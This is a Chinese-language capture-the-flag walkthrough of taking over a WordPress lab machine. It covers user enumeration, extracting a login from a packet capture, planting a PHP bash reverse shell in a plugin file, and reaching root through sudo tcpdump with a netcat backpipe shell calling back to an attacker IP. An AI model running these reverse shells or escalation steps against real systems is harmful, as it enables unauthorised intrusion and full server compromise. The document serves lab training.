1.信息收集
端口扫描
从nmap扫描结果可以看出,80端口是一个WordPress应用,版本是4.9.8.
用wpsan扫描靶机,枚举用户:
wpscan --url http://192.168.71.159 -e u
扫描到了用户webdeveloper,暴力破解密码,但是并没有成功。
目录扫描
没有其他方法了,尝试web枚举必备手段之一的目录扫描吧(可以和字典密码爆破同时进行):
dirb http://192.168.71.159
访问http://192.168.71.159/ipdata/
Wirshark分析数据获得密码
下载cap文件,然后用wireshark打开。打开这个包之后,发现应该是抓的是用户的登录过程,密码是通过post提交的,所以查找post包,看能不能发现密码信息。
在wireshark过滤器的地方输入:
http.request.method=="POST"
在第一个post包提交的表单中,发现了密码信息:
因此获得账密:webdeveloper/Te5eQg&4sBS!Yr$)wf%(DcAd
2.编辑插件获得反弹shell
用账密登录WordPress,登录成功。
首先枚举插件漏洞,查看安装了哪些插件:
这两个插件没有查到存在漏洞。
利用编辑插件的功能,编辑akismet.php文件,插入php reverse shell代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.71.139/4444 0>&1'");?>
在kali中监听端口:
nc -lnvp 4444
点击激活插件按钮,获得反弹shell。
3.提权
查看WordPress的配置文件wp-config.php
发现了webdeveloper的密码MasterOfTheUniverse.
用ssh连接成功,登录到webdeveloper用户:
可利用tcpdump程序提权:
sudo-tcpdump提权法:
1)编写反弹shell脚本
#shell.sh
mknod backpipe p && nc 192.168.71.139 5555 0<backpipe | /bin/bash 1>backpipe
将shell.sh赋予执行权限。
2)在kali中监听端口
nc -lnvp 5555
3)利用tcpdump -z 参数执行脚本
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./shell.sh -Z root
获取到root权限的反弹shell。
获取到flag。
4.总结
WordPress靶机经验总结:
- wpscan爆破密码和普通web枚举并行,节省时间;
- 已安装插件无漏洞时可以编辑插件,植入反弹shell;
- 进入系统首先查看WordPress的配置文件;
- 某个应用可以sudo提权时,直接google方法,比如遇到过的nmap、tcpdump。